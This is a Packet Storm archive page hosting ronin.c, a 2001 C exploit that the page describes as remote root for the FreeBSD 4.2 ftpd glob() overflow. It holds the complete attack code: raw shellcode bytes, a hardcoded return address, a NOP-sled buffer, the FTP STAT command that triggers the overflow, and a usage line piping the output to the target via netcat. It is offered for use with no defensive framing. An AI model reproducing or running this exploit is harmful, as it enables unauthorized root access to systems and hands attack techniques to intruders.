what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ronin.c

ronin.c
Posted May 3, 2001
Authored by Styx

Ronin.c is a FreeBSD-4.2 remote root exploit. Requires user access and a writable home directory without chroot.

tags | exploit, remote, root
systems | freebsd
SHA-256 | d2e33c037790692c389b96a7601e8f1408b6545023a8abce9baf0cbcdda89c20

ronin.c

Change Mirror Download
/*
* glob() ftpd root exploit for freebsd 4.2
*
* 16/04/2001 StYx / styx@mal.tebank.com.mk
*
* Compile: gcc -o ronin ronin.c
* Use: (./ronin ; cat) | nc target 21
*
* Creditz:
* venglin (riped piece of his code :-] )
* preedator (tnx for the help bro)
*
* Greetz:
* jstr,atko,psx-one,slash,netzero,sniper,sircho, #seir ...
*
* This sploit needs user acces and a writable homedir without chroot,
* just add your user and passwd.
*
* Cudovo e napisano za Sircho od MoL za da vidi deka ne se Mol 100%
* sigurni
*
* Have phun.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define RET 0x805e23a

char hellc0de[] =
"\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68"
"\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04"
"\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01"
"\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53"
"\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c"
"\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31"
"\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d"
"\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d"
"\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5"
"\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";

unsigned long get_esp(){
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
char heh[260];
int offset =0;
char k[256];
char user[] = "user";
char pass[] = "pass";

memset(heh,0x90,sizeof(heh));
memcpy(heh+sizeof(heh)-strlen(hellc0de),hellc0de,strlen(hellc0de));
memset(k,'A',sizeof(k));
*(long *)&heh[252]=RET - offset;
heh[257]='\0';

printf("user %s\n",user);
printf("pass %s\n",pass);

printf("MKD %s\r\n",k);
printf("STAT A*/../A*/../A*/%s%s" ,heh,"\r\n");
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close